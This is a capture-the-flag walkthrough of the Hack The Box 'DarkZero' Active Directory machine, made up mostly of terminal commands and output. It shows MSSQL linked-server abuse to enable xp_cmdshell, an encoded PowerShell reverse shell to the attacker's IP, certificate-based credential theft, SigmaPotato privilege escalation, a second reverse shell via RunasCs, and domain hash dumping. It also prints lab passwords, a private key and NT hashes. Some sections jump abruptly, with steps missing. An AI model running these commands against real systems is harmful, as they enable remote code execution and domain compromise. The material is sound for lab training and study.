DarkZero
DarkZero
Box Creds
We start with creds for the box: john.w / RFulUtONCOL!
Recon
Port Scanning
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
┌──(kali㉿vm-kali)-[~/htb/DarkZero]
└─$ sudo nmap -PN 10.129.100.231
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-07 11:39 PKT
Nmap scan report for 10.129.100.231
Host is up (0.21s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
2179/tcp open vmrdp
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 19.89 seconds
┌──(kali㉿vm-kali)-[~/htb/DarkZero]
└─$ sudo nmap -p53,88,135,139,389,445,464,593,636,1433,2179,3268,3269,5985 -sCV 10.129.100.231
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-07 11:46 PKT
Nmap scan report for 10.129.100.231
Host is up (0.30s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-07 13:47:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
|_ssl-date: TLS randomness does not represent time
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info:
| 10.129.100.231:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.129.100.231:1433:
| Target_Name: darkzero
| NetBIOS_Domain_Name: darkzero
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: darkzero.htb
| DNS_Computer_Name: DC01.darkzero.htb
| DNS_Tree_Name: darkzero.htb
|_ Product_Version: 10.0.26100
|_ssl-date: 2025-10-07T13:48:32+00:00; +7h00m10s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-07T09:53:46
|_Not valid after: 2055-10-07T09:53:46
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-10-07T13:47:53
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h00m10s, deviation: 0s, median: 7h00m09s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.23 seconds
We have an Active Directory box. The interesting discovered service is MSSQL. We will need to fix the clock skew with ntpdate for anything kerberos related.
Let’s start by generating a host file (picked this from 0xdf):
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿vm-kali)-[~/htb/DarkZero]
└─$ netexec smb 10.129.100.231 --generate-hosts-file darkzero
SMB 10.129.100.231 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:darkzero.htb) (signing:True) (SMBv1:False)
┌──(kali㉿vm-kali)-[~/htb/DarkZero]
└─$ cat darkzero
10.129.100.231 DC01.darkzero.htb darkzero.htb DC01
┌──(kali㉿vm-kali)-[~/htb/DarkZero]
└─$ cat darkzero | sudo tee -a /etc/hosts
10.129.100.231 DC01.darkzero.htb darkzero.htb DC01
Interacting with MSSQL
We will start by enumerating and interacting with MSSQL. Netexec has a module on MSSQL we will use that.
Let’s try authenticating with the provided creds:
1
2
3
4
┌──(kali㉿vm-kali)-[~/htb/DarkZero]
└─$ nxc mssql 10.129.100.231 -u 'john.w' -p 'RFulUtONCOL!'
MSSQL 10.129.100.231 1433 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:darkzero.htb)
MSSQL 10.129.100.231 1433 DC01 [+] darkzero.htb\john.w:RFulUtONCOL!
The creds can indeed be used to interact with MSSQL. Now let’s test for command execution:
1
2
3
4
5
6
7
8
┌──(kali㉿vm-kali)-[~/htb/DarkZero]
└─$ nxc mssql 10.129.100.231 -u 'john.w' -p 'RFulUtONCOL!' -q 'SELECT name from master.dbo.sysdatabases;'
MSSQL 10.129.100.231 1433 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:darkzero.htb)
MSSQL 10.129.100.231 1433 DC01 [+] darkzero.htb\john.w:RFulUtONCOL!
MSSQL 10.129.100.231 1433 DC01 name:master
MSSQL 10.129.100.231 1433 DC01 name:tempdb
MSSQL 10.129.100.231 1433 DC01 name:model
MSSQL 10.129.100.231 1433 DC01 name:msdb
It works. On further enumeration I confirmed that bulkadmin:0 (perms to write files), xp_cmdshell wasn’t enabled on this server, and there was another linked server DC02.darkzero.ext:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿vm-kali)-[~/htb/DarkZero]
└─$ nxc mssql 10.129.100.231 -u 'john.w' -p 'RFulUtONCOL!' -q "EXEC sp_linkedservers;"
MSSQL 10.129.100.231 1433 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:darkzero.htb)
MSSQL 10.129.100.231 1433 DC01 [+] darkzero.htb\john.w:RFulUtONCOL!
MSSQL 10.129.100.231 1433 DC01 SRV_NAME:DC01
MSSQL 10.129.100.231 1433 DC01 SRV_PROVIDERNAME:SQLNCLI
MSSQL 10.129.100.231 1433 DC01 SRV_PRODUCT:SQL Server
MSSQL 10.129.100.231 1433 DC01 SRV_DATASOURCE:DC01
MSSQL 10.129.100.231 1433 DC01 SRV_PROVIDERSTRING:NULL
MSSQL 10.129.100.231 1433 DC01 SRV_LOCATION:NULL
MSSQL 10.129.100.231 1433 DC01 SRV_CAT:NULL
MSSQL 10.129.100.231 1433 DC01 SRV_NAME:DC02.darkzero.ext
MSSQL 10.129.100.231 1433 DC01 SRV_PROVIDERNAME:SQLNCLI
MSSQL 10.129.100.231 1433 DC01 SRV_PRODUCT:SQL Server
MSSQL 10.129.100.231 1433 DC01 SRV_DATASOURCE:DC02.darkzero.ext
MSSQL 10.129.100.231 1433 DC01 SRV_PROVIDERSTRING:NULL
MSSQL 10.129.100.231 1433 DC01 SRV_LOCATION:NULL
MSSQL 10.129.100.231 1433 DC01 SRV_CAT:NULL
Let’s try interacting with the linked server but nxc will not suffice for that. We will use impacket-mssqlclient:
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿vm-kali)-[~/htb/DarkZero]
└─$ impacket-mssqlclient darkzero.htb/john.w:'RFulUtONCOL!'@10.129.100.231 -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (darkzero\john.w guest@master)>
Let’s check the readable options on linked server using sp_helpserver:
1
2
3
4
SQL (darkzero\john.w guest@master)> EXEC sp_helpserver 'DC02.darkzero.ext';
name network_name status id collation_name connect_timeout query_timeout
----------------- ------------------------------ ----------------------------------- ---- -------------- --------------- -------------
DC02.darkzero.ext b'DC02.darkzero.ext ' b'rpc,rpc out,use remote collation' b'1 ' NULL 0 120
sp_helpserver shows rpc and rpc out are enabled for DC02.darkzero.ext (that means remote procedure calls are allowed) (EXEC (…) AT [DC02]). Let’s confirm if we can do RPCs:
1
2
3
4
5
6
7
SQL (darkzero\john.w guest@master)> EXEC ('SELECT SUSER_SNAME() AS remote_suser, SYSTEM_USER AS remote_system_user, ORIGINAL_LOGIN() AS remote_original_login') AT [DC02.darkzero.ext];
remote_suser remote_system_user remote_original_login
------------ ------------------ ---------------------
dc01_sql_svc dc01_sql_svc dc01_sql_svc
SQL (darkzero\john.w guest@master)> EXEC ('EXEC master..xp_cmdshell ''whoami''') AT [DC02.darkzero.ext];
ERROR(DC02): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
Foothold
We will need to enable xp_cmdshell on the linked server first.
1
2
3
4
5
6
7
8
9
10
SQL (darkzero\john.w guest@master)> EXECUTE('EXECUTE sp_configure ''show advanced options'', 1; RECONFIGURE; EXECUTE sp_configure ''xp_cmdshell'', 1; RECONFIGURE') AT [DC02.darkzero.ext];
INFO(DC02): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC02): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (darkzero\john.w guest@master)> EXECUTE('xp_cmdshell whoami') AT [DC02.darkzero.ext];
output
--------------------
darkzero-ext\svc_sql
NULL
Since we can finally use xp_cmdshell for command execution, we can leverage it to spawn a reverse shell.
Grab a reverse shell from https://www.revshells.com and:
1
2
3
4
5
6
7
8
9
SQL (darkzero\john.w guest@master)> EXECUTE('xp_cmdshell ''powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AOAAiACwAMQAyADMANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA='';') AT [DC02.darkzero.ext];
┌──(kali㉿vm-kali)-[~/htb/DarkZero]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.8] from (UNKNOWN) [10.129.100.231] 59540
whoami
darkzero-ext\svc_sql
PS C:\Windows\system32>
Shell as svc_sql
Let’s transfer winpeas for further enumeration.
1
2
3
4
5
6
7
┌──(kali㉿vm-kali)-[~/htb/DarkZero]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.100.231 - - [07/Oct/2025 19:55:46] "GET /winPEASany_ofs.exe HTTP/1.1" 200 -
PS C:\Users\svc_sql> curl.exe -o peas.exe http://10.10.16.8/winPEASany_ofs.exe
An interesting file was found at C:\ drive:
1
2
3
4
5
6
7
8
9
10
11
12
PS C:\> dir
Directory: C:\
<SNIP>
-a---- 7/30/2025 6:38 AM 18594 Policy_Backup.inf
PS C:\> Get-Content C:\Policy_Backup.inf -Raw | Out-String -Width 200 | more
<SNIP>
SeImpersonatePrivilege = *S-1-5-19,*S-1-5-20,*S-1-5-32-544,*S-1-5-6
SeCreateGlobalPrivilege = *S-1-5-19,*S-1-5-20,*S-1-5-32-544,*S-1-5-6
<SNIP>
Policy_Backup.inf and SeImpersonatePrivilege
With Policy_Backup.inf we know the the security controls. (Policy_Backup.inf is a configuration file that holds the exported security settings of a Windows machine’s local policy or a Group Policy Object)
The presence of SeImpersonatePrivilege allows running a process in the security context of a different user. We can’t just exploit it yet since our user doesn’t have the privilege, and the user token overrides group membership (S-1-5-6).
Changing the password of svc_sql
Domain and DC can be found with systeminfo command.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
PS C:\mk> .\cert.exe request /ca:DC02\darkzero-ext-DC02-CA /template:User
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.1.0
[*] Action: Request a Certificates
[*] Current user context : darkzero-ext\svc_sql
[*] No subject name specified, using current context as subject.
[*] Template : User
[*] Subject : CN=svc_sql, CN=Users, DC=darkzero, DC=ext
[*] Certificate Authority : DC02\darkzero-ext-DC02-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 3
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAx6Y0SJQzLIWcNLhIGXS2MOteKhHWCd/DskiXTj1L3ghr7BUw
oczHMYn4CHNCXgZnz4Ota+xP8bwqhXt69zGNmoLFdFgI++0VZxB9+N59xFFArVEp
oh3RrATZkAhNrK2OykWhE5nAgboHK4YDKjKKrHFYjH2dQ7F/2fbTEYNsnoxK/Fc4
yo903skgyDEu5OL7noD9wlkf9EflljQedYxQdohm8X9KQM1rGAWM18iVK9r59xNQ
9TnzrmpySYWHdpkFIwGP7NNvUcXE7HDGMB7+lU02sLKV0BHdOkfXPYJaxYiAvU+r
nqHRWxpPOslv+qhg6MOrkw/WxQ2TF1HVi/xp5QIDAQABAoIBAGh2c3bibGBITLJd
FgSTx9yS2sNib77c4TWAvAKJGhBEEcwGTlrqnfMywKATRs+RxHGU8YG9tRrEHO+Y
638542DMOeqlQZYnuAIkY/V63Q2Cgjftdr5HofTC2N9/KL1IVqVJh32M/mgiYSwJ
w9Apf9u4tt9Tvpyz3DS87DWGsafGzXbm1pwyKwB/FfdnytWP1XI35NePPEY+RHGF
nxXzS3rsSCUIkl6UeLg8Ray5tJ0x+WjUAtcKVGyt06Yu86twZ6GKV5nsgI8wdA1U
OFyoJISr9v4JUlImUNFQvGZLoZD0wsX0eeH58cNAUFt+r+oJzOIv98yXbGzmEwsJ
Dsm2XMUCgYEA7clcHZGXNWm/wrf33LlOO6a8qgNuN0iMPBhA06ff1L52Lov1MeNo
eRH7uRZFAV7C8SkEtWLtGWTstkRsitodoYFnvWYnHv8LPA5bh98jomoCofhpRcoe
ZyqKYiSWl9evZxOYRYYzVjJyVgpbSEnLQgWn4dXLV/U7rlU5U2t95/MCgYEA1vEH
O+YaqZT9BBmpgOTuDWRusny8OIS213lC88I57d9i6DbzAzTXw0bW0OOg6CW0haMk
YxgvfMJPqYzWrdyxPMf3Yvlupwerlj1oepBgEYuSCxm9Jv8o/To29+DFxyZy+0IO
THKw4Z8eTgOISALaKE0etvHHQPUkzG9JmGuxdMcCgYEAqmyGK98cK7kWKj3mVPku
/Avd7lA1H0RM1glf9RK9luHHHEdNPitJxnRAIQC4Bmpfd665ZDN50ZiHG39g+Aep
8wYnTxS29z0+VRXJPlGMXaxzJJlBAjcBoVlZA0xL7po0acEegr3Tb3UKg2Y61E2n
czNQhsjPS8REuQb15jcFb0cCgYB1x832/LhPhNzAim9fuhLYM9iU5dUeA1tN55zQ
hfXIa0h/htzTPPmegArmnFVn4IFzWVpvEqmy66dLeWmKDAzzCYB+M8B2trVHto6x
2rtJ4fk9K/WCkP+dA3FrkzfNUTxggmnjalWSzOaGSVk8XJO+0cOq7AILjkmD3Nev
NhQfsQKBgBWs0fzzvBKGth935Y2e4f7fJ1xwaO7i8hlfkv65mVa9n/E/YFJFU6Wu
GHQeZHy/gNScE27S/d9GagwqijS0pHHOg+SyNxtCA92zz31Uph0NMzvhAgqEyy0V
7Ur9RGFN2vIU18BPB8c6wsJqNjOIVM4rTs42LJHURdmzKukc79fr
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIHKTCCBRGgAwIBAgITaQAAAAPPIwjQlu45xQAAAAAAAzANBgkqhkiG9w0BAQsF
ADBOMRMwEQYKCZImiZPyLGQBGRYDZXh0MRgwFgYKCZImiZPyLGQBGRYIZGFya3pl
cm8xHTAbBgNVBAMTFGRhcmt6ZXJvLWV4dC1EQzAyLUNBMB4XDTI1MTAwODIwMDE0
OFoXDTI2MTAwODIwMDE0OFowUTETMBEGCgmSJomT8ixkARkWA2V4dDEYMBYGCgmS
JomT8ixkARkWCGRhcmt6ZXJvMQ4wDAYDVQQDEwVVc2VyczEQMA4GA1UEAwwHc3Zj
X3NxbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMemNEiUMyyFnDS4
SBl0tjDrXioR1gnfw7JIl049S94Ia+wVMKHMxzGJ+AhzQl4GZ8+DrWvsT/G8KoV7
evcxjZqCxXRYCPvtFWcQffjefcRRQK1RKaId0awE2ZAITaytjspFoROZwIG6ByuG
AyoyiqxxWIx9nUOxf9n20xGDbJ6MSvxXOMqPdN7JIMgxLuTi+56A/cJZH/RH5ZY0
HnWMUHaIZvF/SkDNaxgFjNfIlSva+fcTUPU5865qckmFh3aZBSMBj+zTb1HFxOxw
xjAe/pVNNrCyldAR3TpH1z2CWsWIgL1Pq56h0VsaTzrJb/qoYOjDq5MP1sUNkxdR
1Yv8aeUCAwEAAaOCAvswggL3MBcGCSsGAQQBgjcUAgQKHggAVQBzAGUAcjApBgNV
HSUEIjAgBgorBgEEAYI3CgMEBggrBgEFBQcDBAYIKwYBBQUHAwIwDgYDVR0PAQH/
BAQDAgWgMEQGCSqGSIb3DQEJDwQ3MDUwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
DQMEAgIAgDAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQUv+mY0xvFTRM0
wtbRBNeDivid29AwHwYDVR0jBBgwFoAU1Rl+LJBmS8zfG6d+AhLydWFBqowwgdAG
A1UdHwSByDCBxTCBwqCBv6CBvIaBuWxkYXA6Ly8vQ049ZGFya3plcm8tZXh0LURD
MDItQ0EsQ049REMwMixDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMs
Q049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1kYXJremVybyxEQz1leHQ/
Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERp
c3RyaWJ1dGlvblBvaW50MIHHBggrBgEFBQcBAQSBujCBtzCBtAYIKwYBBQUHMAKG
gadsZGFwOi8vL0NOPWRhcmt6ZXJvLWV4dC1EQzAyLUNBLENOPUFJQSxDTj1QdWJs
aWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9u
LERDPWRhcmt6ZXJvLERDPWV4dD9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xh
c3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTAvBgNVHREEKDAmoCQGCisGAQQBgjcU
AgOgFgwUc3ZjX3NxbEBkYXJremVyby5leHQwTQYJKwYBBAGCNxkCBEAwPqA8Bgor
BgEEAYI3GQIBoC4ELFMtMS01LTIxLTE5Njk3MTU1MjUtMzE2Mzg1MTItMjU1Mjg0
NTE1Ny0xMTAzMA0GCSqGSIb3DQEBCwUAA4ICAQCAL2srObt2xLLw++hK2XWOarAW
H+Vy56u+MtwsAPsKrovEdmbHHe7q6xqsH7V+MXsNLj1knhru3JMzK5Tv2eSF+Rjj
A2yrg2HZxiDkoqBI9nJw1ZM7+UZ6uC8MSi/zBQ6B/o6LEfxDHzqyEErXK0rvFT7A
fhbQ6WGpTXv2kItreuIQY/yjE6awm33Uu92QbS17Ss/VcrbjswJboedYwDyaNSQ4
qNcX+4E1eeic5Wc3nXKRLjQdFbkUgz0i0BxzL7wBW451JlMK72uXMIt7a20/6qnx
Ri/HXKWPyyc1oNVJ5Zigcg8AhVwF6QgKkXZ1fizsdR9AzJ7w1fBfe/ZnPbL4M++J
FsB1wJOvlBMtKAuOnQEGgbvouQyepP3Rs5eUPCI++tseB66QFd20JmQR79q4KYeL
ZKfa7pH6Ht+lfN9Nhhwodtti7lV+JRKM7WrFBs0i5gb7RCF10HT8NHSfrQmknejV
IHRD5eTVpkVtXrj6BXL6ceoKUrrPs6qkiVGvejKFoGP1KWnrdnop+CeG1fCOXrux
YDVlMZ5D39yEjMZaYoXRuL1niQe3Xh0Obb0yeqQtOugdnNRzAvErZXLxPLeP1MmV
7C5RZWAlVvtsv4uTs/6UuJvTB05uKnT2Fi3ddxq63weE+RmWWVJand4bZUVoBN82
8iP6oKtlqyQBHlU81g==
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:13.0363572
┌──(kali㉿vm-kali)-[~/htb/DarkZero]
└─$ certipy-ad auth -pfx cert.pfx -dc-ip 172.16.20.2
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'svc_sql@darkzero.ext'
[*] Security Extension SID: 'S-1-5-21-1969715525-31638512-2552845157-1103'
[*] Using principal: 'svc_sql@darkzero.ext'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'svc_sql.ccache'
[*] Wrote credential cache to 'svc_sql.ccache'
[*] Trying to retrieve NT hash for 'svc_sql'
[*] Got hash for 'svc_sql@darkzero.ext': aad3b435b51404eeaad3b435b51404ee:816ccb849956b531db139346751db65f
PS C:\mk> .\sigma.exe "net user administrator b0tn3tbuddi3s@!!!!"
.\sigma.exe "net user administrator b0tn3tbuddi3s@!!!!"
[+] Starting Pipe Server...
[+] Created Pipe Name: \\.\pipe\SigmaPotato\pipe\epmapper
[+] Pipe Connected!
[+] Impersonated Client: NT AUTHORITY\NETWORK SERVICE
[+] Searching for System Token...
[+] PID: 1008 | Token: 0x728 | User: NT AUTHORITY\SYSTEM
[+] Found System Token: True
[+] Duplicating Token...
[+] New Token Handle: 1016
[+] Current Command Length: 41 characters
[+] Creating Process via 'CreateProcessWithTokenW'
[+] Process Started with PID: 2008
[+] Process Output:
The command completed successfully.
PS C:\mk> .\runascs.exe administrator b0tn3tbuddi3s@!!!! "powershell" -r 10.10.16.8:9002
.\runascs.exe administrator b0tn3tbuddi3s@!!!! "powershell" -r 10.10.16.8:9002
[+] Running in session 0 with process function CreateProcessWithTokenW()
[+] Using Station\Desktop: Service-0x0-29a2f$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 396 created in background.
PS C:\Windows\system32> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
┌──(kali㉿vm-kali)-[~/htb/DarkZero]
└─$ impacket-secretsdump DC01.darkzero.HTB -k -no-pass
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5917507bdf2ef2c2b0a869a1cba40726:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:64f4771e4c60b8b176c3769300f6f3f7:::
john.w:2603:aad3b435b51404eeaad3b435b51404ee:44b1b5623a1446b5831a7b3a4be3977b:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d02e3fe0986e9b5f013dad12b2350b3a:::
